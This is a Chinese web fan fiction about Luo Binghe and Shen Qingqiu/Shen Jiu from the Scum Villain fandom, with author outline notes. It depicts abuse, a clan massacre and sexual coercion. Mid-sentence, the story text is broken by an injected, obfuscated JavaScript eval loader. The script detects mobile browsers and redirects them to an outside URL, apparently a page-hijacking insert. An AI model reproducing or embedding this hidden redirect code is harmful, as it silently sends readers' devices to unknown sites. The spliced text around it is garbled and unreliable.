截然不同的清静峰,众人完全不同的态度。甚至于,眼前的某人,替自己挡了过来''探望''的柳清歌,还说什么“不就是前两天没让你一起睡,值得生气到今天” 洛冰河对此,已经嘴角抽搐到无语了。 什么曾经对自己温柔、现在慌张避嫌的宁樱樱,什么曾经虐待自己、现在胆小如鼠的明帆,什么早早死去、现在还活着并且看起来对自己很是厌恶的柳清歌。 洛冰河觉得,自己要么踏入了什么梦境,要么就是走到了某个完全不同的秘境。 不过。如此体贴温柔的沈清秋。 让洛冰河的心情好了点。 甚至有心多加试探,想逗一逗他:“师尊?” “嗯?”沈清秋歪了歪头,看起来单纯又无辜,连语气神色,都是十二分的温柔迁就,有应必求。 “师尊。” “我在这呢。”沈清秋帮洛冰河整理了一下衣裳和头发,又与他一同上床,揽着他躺下:“你睡吧。为师给你调息” 随着灯火被熄灭,洛冰河盯着安然闭着眼睛,看起来在月光中全然无害又放松的沈清秋:‘如此梦境,真是令人沉迷啊’。 沈清秋的长发散落在他手臂和指间,他抓住一缕黑发,慢慢收紧,无声地用口型重复念着这个名字。 沈清秋啊。 沈清秋。 这样的你,还是你吗? 洛冰河嘴角挂起一丝诡异阴戾的弧度,目光灼灼发亮,带着一点近乎残忍的兴奋之色。施展梦境,想用''情景重现''的方式,探究一下''来人的目的''。 毕竟,梦境这种东西,洛冰河师承梦魇,也算是拿得出手的。 洛冰河。或者说冰哥。 很轻易的从给''沈清秋''构建的梦境中,看到了这个沈清秋对洛冰河的所作所为。 甭管是仙盟大会金兰城花月城圣陵这种大的故事,还是小到双湖城打剥皮魔。就连眼前之人如何诈死还生,''洛冰河''为了他详攻苍穹山派的事情,也一点都也没有遗漏。 清晨的阳光透过竹帘,洒在洛冰河脸上。 他看着在阳光下舞蹈的尘埃,有些恍惚。 梦境,或者说''沈清秋''的梦境,是洛冰河曾连想都不敢的过往。 他也想过沈清秋可能会对他很好,但是也仅限于帮他呵斥胡作非为的明帆、给他开去万剑峰选剑的权限、给予他真的的心法和与其他弟子一起上早课的资格。 没吃过糖的人,就连正常到人人皆有的权限,都是奢望的。就像是农人认为皇帝拿着金锄头农耕一样,洛冰河完全不敢想象''沈清秋''能为''洛冰河''做成那样。 这个秘境中的''洛冰河'',真是幸运的该死啊。 这个秘境中的''沈清秋'',也是很想让人掳回去的程度呢。 —— 哎,幸福的时光总是短暂的。 这个秘境中的洛冰河还是来了。 即使冰哥尽力嘲讽他“孤家寡人”、“娘娘腔”、“连其他人都压制不住的废物”,却还是难逃“沈清秋一心爱护”,这一个绝杀。 看着''沈清秋''与''洛冰河''的交互,冰哥觉得自己的眼睛疼。 真的,你们虽然打不过我,但是真的有恶心到我的眼睛。 ‘不想玩了。’冰哥这么想着,用心魔剑划开空间,准备回去。 临走前,最后做一次努力(挑拨):“师尊,我的技术很好的,你不是体验过吗?毕竟我比他(后宫)经验多多了,绝对让你难忘。” 看着脸色唰变的''洛冰河'',冰哥突然觉得心情很好,莫名的有种''赢了''的感觉。 毕竟,男人嘛,后宫的数量说明了自己的能力! —————— (五)冰哥遇见秋家乞丐九 沈九啊,你测出有修真资质就想走,岂不是白瞎了秋府对你的培养?你这样,可不好吧? ————正文—— “你是仙人吗?” “?”洛冰河看着穿着小厮衣服、遍体鳞伤的幼年版沈九,突然觉得自己找对了地方。 从《渣反》世界离开后,洛冰河派人去无间深渊搜寻沈清秋的躯体,结果当然是找不到啦~ 但是心魔剑是世界bug啊,所以洛冰河很轻易的用了一些代价,确定属下没有阳奉阴违,这个世界的''沈清秋''真的被低等魔物撕裂躯体,化为一地烂肉。 但是冰哥的内心很不爽。 其中有对那个世界洛冰河的恨其不争,更有对那个世界沈清秋的窥探。 他想把那个世界的沈清秋占为己有。 毕竟冰哥是世界之主,想要的东西还没弄不到手过,所以在他的心中,只要自己想要的,都是可以弄来的。 但是那个世界的洛冰河太恶心人了!他居然把心魔剑舍得毁掉! 让冰哥尝试了无数次,穿越诸多空间,都没能成功再去一次。 不过嘛。这次是世界,还是让冰河很满意的。 问,遇见了曾经对自己贼差的恶人,现在他还是毫无反抗之力的小孩子。是一点点把他折辱弄死,还是让他也尝尝曾经对自己所犯下的罪孽? 而且吧。 让曾经作为自己师傅的沈清秋嘛、喊身为弟子的洛冰河为“师尊”,想想就很带感啊! 想到这里,洛冰河眼睛“唰”的亮了起来,对着前面的小厮勾了勾手指: “小子,你叫什么名字?” “仙人!我叫沈九!你能带我走嘛?” “沈九,是家里有九个孩子吗?” “不是。”沈九眼神黯淡:“我无父无母,出生就被抛弃了,九是乞丐的排行。” “哦。”洛冰河装作''恍然大悟''的样子,又夸张的指着沈九身上的伤问道:“那你这伤,是乞丐里面也打架吗?” “不是。”沈九哆嗦了一下,举起自己手掌让洛冰河看:“我现在是秋府小厮,秋家大少爷为了培养我做''童养夫'',逼的我习文学字,若是达不到他的要求,就要挨打。” “那你所说,救你出去?” “对,我真的忍不了了!之前城中有仙人摆阵,测出我有修仙资质……可是,主家不许,还……” “沈九啊,你测出有修真资质就想走,岂不是白瞎了秋府对你的培养?你这样,可不好吧?” “我……”沈九看着洛冰河玩味的表情,脸上浮现出不好意思,头低下去,手指搅在一起: “我有个同伴,他去学习仙术了,他承诺我会回来救我出去的,却一直没回来。我想去找他。” “同伴?”洛冰河眼神晃动,知晓他说的应该是岳清源。毕竟沈清秋的记忆他懒得去查看,那个世界的''沈清秋''却是看了个完整。 “对,他叫岳七,是个傻子!”沈九说起岳七来,眼睛里满是亮光:“他明明自己都吃不饱,却非要照顾那些小孩,最后还得我分给他馒头和赏钱才能免去挨打!” “……”没想到苍穹山派上对岳清源爱搭不理的沈清秋,小时候却对他推崇备至,嫌弃又肯定啊。 不过。洛冰河还是想逗一逗自己的小师尊。 毕竟,看着敌人落败很快乐,看着无知的敌人踩入自己所布下的陷阱,掉落深渊时那无辜、恐慌却又无能为力的表情,更爽快啊! “我凭什么带你走?” 据后宫之一的秋海棠所说,沈清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075132|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋被无厌子吸引,屠秋家满门,换得无厌子收徒资格。 那么,他要不要也“考验”一下呢? 对于考验沈清秋,洛冰河可有太多手段了! —————— (六)沈九借势洛冰河杀秋家 “沈清秋?那是谁?师尊你再喊谁呀?”沈九假惺惺的应和着洛冰河的话语 ——正文—— 最后洛冰河也没让沈九做什么。 毕竟秋海棠虽然不是什么好人,但毕竟也算是自己的后宫之一,冰哥不是那么无情的人,用自己的女人的家族去试探沈九。 或者说,这个小厮样式的沈九,还不配洛冰河用一个秋海棠和秋家去试探。 不过嘛。沈九听起来也太随便了,还是“沈清秋”听起来好听。 最重要的是,看着“沈清秋”对自己的崇拜与濡沫,听着他软乎乎、傻兮兮的“师尊”,洛冰河心里有种诡异的满足感。 此时的场景下,沈清秋根骨已毁,略有一丢丢的修为。心智正常,但是对于旁人的接近和触碰有着非常明显的避让之举。 是一个,属于略有心计、对“前来救自己”的人心怀感激与理所应当,对秋家恨不得全弄死的,十多岁的偏激少年。 这样的少年,若不是因为他是“幼年沈清秋”,洛冰河是完全看都不会看一眼的。 谁让他是沈清秋呢,一个年幼的、算计写在脸上的,对秋家恨得牙痒痒的小厮。一个没什么也不会,性情也不好的底层人物,若不是他是沈清秋,洛冰河是为什么要搭理他? ———— “师尊~我能不能请您……” 如今的“沈九”,性情冷厉、浑身倒刺,眼里满是不安分的算计,脸上尚还有婴儿肥,身体却是消瘦得跟竹竿似的,风一吹就能跑。 而且大概是在秋家挨打太多的缘故,他的性格很偏激,动不动就想让洛冰河帮他“打死欺负他的人”。 尤其是,借洛冰河的势,杀洛冰河后宫秋海棠的家人。 “凭什么?” 洛冰河不是很能理解,为什么眼前这个明明被打的遍体鳞伤的家伙,就因为看见自己在这,随随便便就磕头拜师,还“大言不惭”的想让洛冰河帮他杀人。 “我是您的弟子啊,师傅不就是应该帮助弟子吗?” 要不怎么说是小孩子脾气呢,他完全不想洛冰河凭什么要帮他杀人、打人,只觉得洛冰河既然出现在自己面前,又答应“带自己走”,就是自己的机缘,而他就该满足自己的所有愿望。 对此,洛冰河更是不能理解: “……???你从哪里学来的歪理?” 沈九眼珠滴溜溜的转动,眼里满是恶毒和狠厉: “师尊,秋家人对我一点也不好,他们打我,不让我吃饭,还逼我学书画,更是在知道我能修炼的时候对我下狠手,呜呜呜。” ‘!!!’洛冰河看着在自己面前毫无诚意卖惨的幼年版沈清秋,感觉自己绝逼是来错了世界,一开始的“信誓旦旦”都化为泡影: “沈清秋!你少给我这样!” 可惜,沈九完全不能理解洛冰河的意思,更不知道自己已经''深深被厌恶''。他只想借洛冰河的势弄死欺负自己的人,走上修炼之路。 不得不说,哪怕他不懂洛冰河的心思,在为人处事、揣摩上意方面,简直得心应手: “沈清秋?那是谁?师尊你再喊谁呀?”沈九假惺惺的应和着洛冰河的话语,又将话头转回来: “师尊~我真的被他们欺负的特别惨,你看我这伤……你要是不带我走,我绝对会死在这里的!您忍心看自己徒弟被其他人欺负成这样嘛~” “!”洛冰河气的将自己面前的小孩推开,恶狠狠道:“就这一次! —————— (七)洛冰河对养娃没兴趣 洛冰河想要的,是自己那个尖酸刻薄、动宥打骂他的沈清秋。 是被上任清静峰峰主努力纠正,终于学会披上儒雅外皮,骂人也是文绉绉,出口成章、下笔成文的''伪君子''沈清秋。 ——正文—— 秋家灭门,火光冲天。 洛冰河看着自己身边一脸解气,又口称“师尊真好”的沈清秋,心里猛然间有点恍惚; 明明洛冰河是想去欺辱沈清秋的。 他想看曾经高高在上的人,沦为对自己各种奉承、想方设法讨好的弟子。然后他在轻飘飘否认沈清秋的努力,刻意引他走上邪路,被世人喊打。 期间参杂着无缘无故的责打与辱骂,遇到危险就把他丢出去,或者刻意制造一些麻烦,逼着沈清秋进九死一生的秘境取物。 不给他修炼资源,不给他真正的心法,刻意损毁他的资质,让他一事无成。最好身边再立一个对照组,让他看着其他人如芝麻开花般节节高,而他却要老死为一捧黄土。 结果,怎么却阴差阳错的帮他解决了麻烦? 而且,杀人如麻的洛冰河,居然真的跟着沈清秋,听着他漏洞百出的借口,替他灭了秋剪罗及其他人。 就连天真烂漫的秋海棠,都没留下来。 毕竟。冰哥出手,寸草不生。 ———— 所谓“假作真时真亦假,无为有处有还无的”。洛冰河虽对那个世界的沈清秋很是记挂,但是能与他解决心结的,依旧是“真小人沈清秋”。 毕竟。那个世界的''沈清秋'',能从“拜师”之后、双湖城之前开始改变,接着把''洛冰河''培养成那样。 却没办法把一个已经成年的龙傲天继续“用爱感化”! 成年版龙傲天,不需要他人感化,也不相信什么爱能改变一切。 就算是“他相信”,放心,也那只是因为对你有点兴趣,伪装的罢了。 所以,对于一个没什么也不会,性情也不好的小厮,若不是他是''未来沈清秋'',洛冰河是完全不会搭理他的。 毕竟他遇见的沈清秋,虽然人品不行,性情不行,喜好折腾人不说,还老是暗地里下黑手。但是,脸和学识,那是真没得说。 所以。当洛冰河意外来到这个时空,再确认了身侧之人是幼年版沈清秋的时候,冰哥才会意动,想要留下来,与眼前的小厮多说几句。 嗯,如果沈九能不这么“急迫”的话,洛冰河也不是不能将他留在身边。 只是吧。 洛冰河想找的人,虽然是他。却不是这个时空,这个时间段的他。 对于沈清秋的性格,洛冰河是知晓的。 但是幼年期沈九的性格,洛冰河,真的,有了新的认知。 看来,沈九和沈清秋之间,是真的存在着极大的区别啊。 思及此,洛冰河突然对沈九极其厌恶和反感。并且,他开始感到无聊和想杀人了。 没什么不对的。 洛冰河不喜欢沈清秋是真,想折腾折辱沈清秋也是真。 他想把另一个世界的''沈清秋''掳走是真,觉得那个世界的沈清秋不是自己的''沈清秋''也是真。 怎么说呢。 洛冰河想要的,是自己那个伪君子真小人的沈清秋。 不是那个世界的温柔、懦弱''沈清秋''。 不是当前这个将狠毒和偏激刻入骨子的沈九。 他想要的,是被上任清静峰峰主努力纠正,终于学会披上儒雅外皮,骂人也是文绉绉,出口成章、下笔成文的''伪君子''沈清秋。 ‘真无趣啊。’ 洛冰河看着眼前的碍眼玩意。 不过目前他还不想杀他。 毕竟,说不定下一次划开时空,就能遇见正确时间的人了呢? 万一自己此刻杀了他,下一个时空段,沈清秋,岂不是就不存在了? 得不偿失的事情,洛冰河的忍耐没那么差。 洛冰河随手将沈九丢在苍穹山派脚下的小镇子里,这段旅途就算是结束了。 说不定哪天岳清源下山遇见,或者沈九按照他的人生路线拜入苍穹山派,都是他们的事情。 至于洛冰河,他要继续划破时空,要么去另一个世界拐“温柔版沈清秋”,要么,去找刚成为清静峰峰主的沈清秋。 反正幼年版“沈九”,不是他的菜,他也不想养娃。 都两界至尊了,还养什么娃,当然是去捡现成的啊! 5. 遇见沈垣的冰哥回去讨沈九温情而不得,最终决定携手九夺取渣 看太多冰九被伤着了,甭管是甜文还是虐文都一样虐九,忍无可忍,写个虐冰哥以及九哥断情绝爱的。 首先,冰和九是正常师徒关系,只是这个徒弟走了黑化路线,九又在半路被下线,醒来后看见已经成为结局的世界,非常有风度的回忆一波曾经,干脆自杀。 别管究竟符不符合人设,那么多虐九虐的我心疼,反正就这样,九直接死、干脆死,完全不是受尽折磨后灵魂破碎而死。 然后冰哥遇见了冰妹,去了渣反。同样,冰妹遇见已经自杀的九,用天魔血救九。 冰哥开始追求温柔沈清秋,沈垣怎么可能组冰哥组CP?!沈垣恨不得一退三百里,缩在冰妹怀里让冰妹上去打! 管他究竟会不会引战,反正我理解的沈垣是绝对不敢反抗冰哥,绝对会立刻让冰妹来自己这边躲开冰哥眼神的。 冰哥离开,开始召唤九。 九自杀!很决绝! 肯定是不可能被轻轻松松喊回来的。 所以冰哥有两条路—— 要么舍大半的血液和大量的时间通过回忆定位九; 要么干脆劈开渣反的世界屏障,跟沈垣锁死得了。 凭什么冰九之间明明是冰哥想要温情,却要通过折腾九来得到? 九死了,死得很干脆! 要么诚心诚意舍命,要么干脆和沈垣锁死! 九:谢邀,人已死,请与其他人锁死,谢谢。 等冰哥终于认清心意,将九唤醒的时候,九的性格注定了他不可能接受冰哥,更不可能喜欢灭世之人。 要么死,要么虐冰哥。 反正就一点,凭什么要虐九,要虐就虐先心动的,虐想要太多的那个。 九:想嫩多,要么你干脆弄死我,要么你就划开屏障找别人,别想劳资改,不可能! 换而言之就是:只要我彻底摆烂,无/欲/无求一心求死,你就别指望我能为你干啥,为你改变。 那么,后续的内容呢? 反正都爽文了,就再男频一些吧! 冰为了讨好九,开始着手恢复世界。但是,狂傲就是一个渣反的对照物,渣反越繁华,狂傲就要越荒废。 冰与九携手都没办法改变,天道青睐不在,灵气断绝、气运不再,世界怎么可能恢复? 所以就玩个大的。 直接攻打渣反世界,夺取世界本源,重建狂傲。 文明之战,从来都是你死我活。 既然渣反那些人没有发现真正的‘渣反九’死去,甭管他们究竟是好是坏,那就一视同仁的灭杀吧。 凭什么这些人能被冰哥、冰妹杀死,却不能被九杀? 就因为九道德感太强,与那些人有足够深的羁绊? ———— 大纲: —— 1.主角光环、恐怖如斯 总是要给冰九一个合理的接近原因的,所以这个契机干脆用原文的‘冰哥与冰妹对决’,写一些正统男频遇见温柔女频师尊后,被天道控制着‘迷恋沈垣’,接着又求而不得进行无能狂怒的故事。 呃……这部分很大可能招骂。所以没打算写多少,还是赶紧写一下早些结束的好。 突然想起来看〈锁清秋〉时候作者的碎碎念:〈看得出来我在虐冰哥吗?〉 嗯。实话,看不出来。 我对于【虐受身、虐攻心】的行为……不太赞同。 尤其是冰哥刻意让沈九与柳清歌去勾栏听曲,搞一出国色生香的柳九,最后无情打碎让九给他口不说,还要让九觉得是大庭广众之下……尤其是,为了突出两人的‘同苦’,九在里面崩溃,冰在外面抱紧自己。 咋说呢,如果名字换一下,这个情节确实蛮好哭,蛮有趣。 但是这两个人如果是冰哥和沈九,我的小心肝立马开始抽抽了…… 所以。这部分最后的结局里,就算是冰哥寻不到沈垣,也不会让他去虐九的。正统冰九里都会虐,但是我不想。一点也不想。哪怕是尝试了一个合集〈天凉好个秋〉的失败后,就算是情节断裂,也一丢丢都不愿意。 就让冰哥自己疼去吧。七点大男主,求而不得自己受着,坑九做什么。 —— 2.万千世界,星河璀璨 这个是很早之前的想法了,早在〈双恶人〉时候就打算给九开这个金手指,让他掌握轮回之力。后面没给的原因是看了〈不死不休〉。 发现这个能力就算是给九,在世界意志的压制下,九除了更憋屈心累,最后得知他即便是尝试无数次也改变不了、超脱不掉、就算是灵魂崩溃也得被拉回来走剧情。 这种费尽所有心力而不得的无力感,足以压垮任何人的心智。 九到最后的结果,要么崩溃,要么如同傀儡般听从,要么……就是妥协后舍弃一切,被迫与冰哥携手。 所以,这个外挂,最后打算给冰哥。让冰哥窥探到世界的真相,发现他与沈九纠缠数万万个世界线。而那么多的世界线里,仅有的几个HE,其实都蘸满了九的血泪。 be全是血腥,he布满血泪。九的伤口被一次次无情撕开,又在中国式‘为你好’的傲慢中,打碎所有坚硬。只为寻求其中的柔软内在。 可这是豪赌。 成则两厢携手,败则七零八落。太多的冰九文里言不由衷,太多的冰九里面转折突兀,太多的看似美满之下,全是九的骨头渣子被磨成粉。 我自认写出来的冰九,没有大佬的情感转折细腻。所以写了快50w的零零碎碎里,最后的结局永远是互杀、互打、互骂、双死。 啊。朋友安慰我,说这叫‘九走大男主路线’。说明我不忘初心,在我心中的九一直是那个不被世俗打压的少年郎,随时随地拔剑就砍,永远傲骨挺立、可杀不可辱。 嗯。怎么不算是一支独立,听起来就让人开心呢。 所以这个部分里,其实是关于其他冰九同人的概述与总结……我会尽量不写成书评的(没事的,写文主要是自己开心,书评也挺好,呜呜呜) —— 3.而今识遍愁滋味,却道天凉好个秋 哎。人总是对未完成的事情抱以期待并且想写完的。所以对那个完全崩掉的合集,这部分想捡回来。 大致就是冰用各种方法勾搭、诱惑、威逼利诱九,最后忍无可忍以房/事手段撬开九的心门。 当然,那篇合集写到5w字崩掉的原因,就是男频里面的直男,是无论用什么方法都不可能接受另一个同性,故而——冰与九只有互打互杀这一条路,哪怕是我想方设法改变,九和冰的性子都不可能真正he。 但,磕冰九怎么能不瑟瑟!怎么能不强制爱!!!(破音) 反正这部分,甭管最后歪成什么样,打不了将大纲随便细化一下略过得了。冰哥再怎么努力温和与退步,都不可能放九离开;同样,九再怎么咬牙合血吞,也不可能真正敞开心扉接受另一个同性—— 所以,这个从本质就是不可能的事情,我自己也完全不能认同这种逻辑,就随便写一下略过得了(脑子里面的画面已经演了那么久,无非就是写不出来而已,已经颅内高兴过了!至于两者之间究竟什么样的契机才能携手,就干脆当成已经成功了吧!做人不要为难自己!) —— 4.身为棋子,谁不想打翻棋局 九是工具人,这个大家都知道。 但是冰哥怎么不算另一种程度的工具人呢? 而冰九,凭什么只能互杀和互砍,不能携手一致,攻打被天道宠爱的渣反,夺取沈垣和冰妹身上的气运? 要知道,修真界这种东西,从来都是弱肉强食。夺取其他人气运为自己所用,简直不要太正常了。 那些‘女配觉醒逆袭’‘男配拒绝送资源’‘工具人拒绝被支配’的文里,那个不是一点点削弱天道宠儿的影响力,接着蚕食对方气运,将天之骄子彻底拉下水? 所以这部分,主要写一下冰九在狂傲非常努力的想修改弥补,结果因天道不愿投注精力,一切都没办法修正。 毕竟渣反是大美满,狂傲就要坏到彻底。那么所处的环境上,渣反必然是花团锦簇,狂傲必定是漆黑苍凉。 冰哥与沈九耗费了那么多的努力,最终却屯与天道的偏跛,只能住在一片狼藉之中。 怎么不该恨? 就像是魔界为什么非要不适合任何种族生存,凭什么修真界占据最好的环境和资源一样。 渣反凭什么幸福美满,狂傲就要被搞的满目疮痍、破破烂烂? 所以,两人携手,就要进攻渣反。 —— 5.镜花水月总是空 为了故事好开展,这里设定冰哥一时半会过不来,只能送九过去。毕竟冰哥若是直接过来,那就直接开战了。先不说打仗我能不能写出来,九与渣反那些人的互动,我还挺想展开一下。 〈锁清秋 〉里面,那些人明明认出来九了,也明白九才是十多年前的那个人,却依旧为了沈垣反复伤害九。 而九,也因为心中的情感,一次次将他人的伤害窝在手心,为了保护其他人将所有人推开,将所有苦痛和鲜血咽进肚子里。 剧情是带感的,但名字和人物不能是他们。 要不然我真的看一张哭一阵啊……呜呜呜。 〈不死不休 〉里面,九明明拥有了无数重生的机会,却为了世界意志的“让冰哥爽”不断重启和压抑,愣生生让九用身体和苦泪铺就一条爽文。 〈以身饲魔 〉里面,九的轮回路是冰哥赠予,可九是被冰哥亲自逼成无数的碎片,灵魂破碎成渣之后,冰哥才幡然醒悟,一点点去拼凑那个还不如早些死去的灵魂。 〈冤冤相报 〉里面,看似两人互动的非常轻松甜蜜,但他们情感的转折,是冰哥亲手制作的元宵被九打翻,于是冰哥恼羞成怒后以粗暴猛烈的行为将九干脆打怕,相当于将九最根本的性子磨灭后,仅仅保留一丢丢的反叛和求生欲罢了。 〈疯魔如我 〉里面,九宁可抹杀自己灵魂,也要冰哥随便招魂,连自己的躯体都愿意送给别人…… 〈我亦飘零久 〉里,九千辛万苦得到想要的权势与地位,却最后来了句……他重生为沈垣…… 相比较之下,我还是喜欢〈再世为渣 〉,九看见冰哥就像是看见了另一个自己,于是对他一方面心软、一方面将他放到与自己一样的地步,最后终于用冰哥的一切来填补自己,告诉曾经的沈九:你真的,只是缺一份气运而已。 —— 所以。我自己的文里,这里应该会严重ooc。 首先确定一点:那些人即便是认出沈九,也不会放弃沈垣。 基于这一个有两点要解释:第一,因为沈垣才是天道之子,再没被拉下来之前,众人对他的好感度是最高的、最容忍的、最不能接受他被人欺负的。第二,冰哥没来的情况下,冰妹代表了不安分的魔族,就算是为了世界和平,苍穹山也不会为了九处置沈垣。 关于这一点,我朋友简直要单方面和我友尽,半天不搭理我。 但是这个是事实啊……(狗头保命)虽然狗血离奇、非常残忍,但这个确实是te线。 和〈锁清秋〉的世界线里,是一样的。(当然我不清楚哪位大佬的真正想法,我只是说我的意见以及这部分是差不多的设定) 所以九会处于众人明面上愧疚、实际上阻拦的情况。 俗称,软钉子? 那么九会伤心吗?当然了!谁TM遇见这种事情不伤心、不难过、不恼火、不想摔东西啊! 〈锁清秋〉的九很憋屈。为了大局,为了其他人,为了自己的小命,为了他莫名其妙的坚持。 但是我不一样啊。 首先身为亲妈,我不可能让九真受罪(虽然说九和冰瑟瑟也算折辱,但是这不一样,不一样的)。其次,九的目的就是破坏两位主角的光环,让更多人看见那两人的不对劲,让更多人觉醒后抵御天道的偏袒。 所以,九就是作天作地,也是理所应当! 咱九哥就是横行霸道,又如何? 被抢了名字?打杀那个冒牌货! 被抢了地位?劳资一把火烧了也不给你! 被抢走亲人?劳资承认过你们吗?不被承认的算什么软肋,你以为劳资在乎这虚假的温情,并且为了你们而心软放过夺取这个世界的本源? 而且为了保险,冰哥的心头血在九身上,随时现身安慰一波。 比如九与其他人割袍断义,冰哥立刻出现安抚:“这个世界不是我们的,师尊不必为这些人难过。”;比如九体内的心魔血被冰妹操控,冰哥的心头血直接反控;比如九与柳清歌对打比不过,叠加天魔血和另一个世界主角的‘祝福’,让九直接碾压所有人。 几重保险之下,九哥本就该肆无忌惮的报复所有人。鲜衣怒马的少年郎,才是九真正该有的样子。 —— 6.生存之争,向来你死我活 狂傲世界是被废弃的失败对照,所以别管这么努力,都不可能重新焕发生机。 那么—— 凭什么渣反可以呢? 不患寡而患不均,不怕穷而怕不公。 天道既然让冰哥看见渣反,又专门让冰哥‘爱慕’沈垣,就该老老实实的走三人纠缠的道路,将沈垣团宠的人设更深化。 可惜天道又想表示沈垣与冰妹的忠贞不二、矢志不渝。所以冰哥最后的归宿,只能是将对沈垣的求而不得发泄在九的身上,恨他为什么永远看不见自己、恨他凭什么不能像另一个世界一样,小心翼翼的将少年捧在手心。 所以说,九最后的结局,很大原因,就是渣反那对情侣搞的。 这个是私设,也可以是我对这段剧情的理解。 冰与九的故事,早在沈垣穿越、渣反开篇的时候就存在了。 可是他们的纠缠,却是在渣反结束,天道闲着蛋疼让冰哥去追求沈垣才真正开始。 天道原本想展示一波虐狗,结果却玩脱了不得不立刻扭转局势,将冰哥打回狂傲。并且将冰哥限制再【对沈九的爱而不得、恼怒愤恨,以残酷刑罚和凶狠床/事为手段,想要得到沈九那颗支离破碎的心】的壳子里,又将九限制再【从来不肯服软认输、即便是什么都被毁去也不愿早早死去】的壳子里,让冰与九互相折磨。 或许是这个实在是太符合人设了。所以冰和九完全没意识到——只要冰哥明白自己确确实实是被沈垣莫名其妙吸引才对沈九开始感兴趣,九但凡早点自杀或承受不住灵魂破碎…… 他们根本不会被困死在这摊烂泥里。 只是。 冰哥对沈九的执着,是刻在骨子里的——这是他一开始的仇恨来源,是最终的诚挚少年被打碎的地方,是两个世界发生根本区别的最重要原因。 而九对生存的执念,对永远不可能服输,对哪怕是折辱致死也不会认错低头的坚守,亦是染在了灵魂底色。 所以啊。他们这样的人,就这样纠缠着,互恨着,互杀着,互相挖苦又互相痛苦着。 咳咳——拉回主题。 所以冰九的痛苦是源于渣反,甚至说狂傲的寸草不生也是因为渣反要万物生长。 所以冰与九要夺取渣反世界,相当的理直气壮。 这其中最困难的,大概就是如何写世界之间的战争、又怎么写一群人为了各自坚守,死的死、死的死、死的死。 哎。这个太遥远了,可以先放着。 7.部分已展开内容: 7.1假设冰哥看见冰妹后开始与沈九纠缠,最终导致两人生死锁死 “我一直很想知道。”沈清秋急促的喘着气,长久的床奴生活使他难以压制心中的愤恨,哪怕平日里再是清冷无情的人,一直被关在屋子里也会被逼的发疯:“你到底为什么恨我。” 沈清秋无力的将人推开,艰难的将手指伸出来数着过往: “归根究底,也无非是泼了一杯茶,岸边的一脚。这些无关痛痒的东西,竟然能支撑你这么久的恨意?” 一杯茶,一顿打,被关了几次柴房。悬崖边的一脚踹出,仙魔相隔。 这些零零碎碎,洛冰河记了一辈子。 毁去沈清秋的家园,又虐杀了所有与沈清秋有关系的人。在人失去一切后,又用天魔血叼着他的命,令他求生不能、求死不得。 看着满脸春色,虚弱如天边落叶的沈清秋,洛冰河半坐起来,稍微端正了一下身姿。 “其实。我并不恨你。或者说,在那件事之前,我并没有打算将你的命留下来。”洛冰河认真想了想,无奈的承认一件事: “对你的仇恨只是路边的石子,虽然绊倒过,但并不起眼。如果你早早死去、或者躲远一些,那些关于你的记忆并不算浓墨重彩。” “只是。那件事后,我发现这世界的主角,好像不单单是弟子。” “?”沈清秋不明白洛冰河在莫名其妙说些什么玩意。 他本来在地牢静静等待死亡,结果这狗玩意突然将他接出来,洗刷干净后丢到床上折辱。还说些什么想跟他一同携手,只希望沈清秋能够温柔待他。 对于将自己害成这样子的罪魁祸首,沈清秋理所应当的——一脚踹过去,并且破口大骂。 结果就不必赘述了,现在的境况是,洛冰河干脆解散后宫,在处理完政务后就开始与沈清秋厮混。当然,大部分情况是洛冰河负责‘撕扯’,沈清秋负责‘混账!’ 洛冰河无奈,对于失败的事迹,其实并不想重新复述: “弟子曾跟您说过的。弟子看见了温柔的您与温和的自己,所以希望您对弟子好一点,弟子自然也会回报以您温柔。” “呵。”沈清秋完全不相信自己会‘温柔’,更不相信能和洛冰河这畜生存在温情相对。只是处于长久以来的困惑,他选择翻个白眼后继续听。 “弟子一直以为自己是天道青睐之人。拜师修真界第一大派,身具天魔血脉,登临三界至尊,成就天下第一。” “只是那时我才知道。原来弟子,也无非是给真正的主角,树立一个虚无缥缈的可能性罢了。” “真正的那对主角,需要以我们的故事为警戒,踏出那条‘皆大欢喜’的道路。而弟子与您,自然就是‘满盘皆输’的典例。” 说到这里,洛冰河眼里有着一闪而过的暴烈。长手一伸,将沈清秋重新拉回怀里,压制住对方的反抗,将下巴放到对方的肩窝。 “当然了,身为主角,自然有着所有人想要对他进行保护的蛊惑能力。所以在我看见另一对情侣后,就像是您莫名其妙对我的厌恶一样,弟子开始疯狂的追逐着另一位‘沈清秋’。” 感受着怀里猛然僵硬并激发出愤恨的人,洛冰河顺手拍了拍对方的后背进行安抚:“只是弟子最想要的,绝对是师尊您。” “既然如此,你——”沈清秋一个肘击冲着洛冰河心口砸过去,却被洛冰河一把抓住,与对方十指相扣按在心口。愤愤的扭头看过去,正好与洛冰河对视。 洛冰河对着沈清秋的嘴角啄了一口,继续将故事讲下去:“求而不得、爱而生恨。我本来从没得到过,自然也不会想要什么。” “人总是贪婪的,如果我不曾见到,就不会心生妄想。如果我没感受过暖意,就不会觉得周围过于寒冷。可是天道就是那么残忍,非要让弟子遇见另一种开展,扰乱弟子的心境。” “我们的事迹结束在世界线开启之前,又重逢在故事未展开之后。本来是个师徒不和的普通故事,要么杀了您,要么用您的才智处理事务。可最后我们闹成这样,说到底,无非都是天道设立的对照组罢了。” 听到如此离奇的事情,沈清秋又开始挣扎。他的人生本可以正常结束,却又因命运开的玩笑,最终被打被虐被折辱,现在还与罪魁祸首日日纠缠,夜夜生欢。 洛冰河将沈清秋的脑袋压在怀里,沈清秋的脸紧贴着洛冰河的心口,继续听洛冰河回忆过往:“您还记不记得,一枚玉佩?” “玉佩?”耳边是砰砰跳动的心脏,身边是长久以来早已熟悉的气息。他们的关系早就不是正常的师徒,更不可能是普通伴侣。若非要说,倒是强制的主人和始终反抗的奴仆。 只是谈及过往,玉佩这种极具象征意义的东西,沈清秋不记得有与洛冰河之间存在什么玉佩。 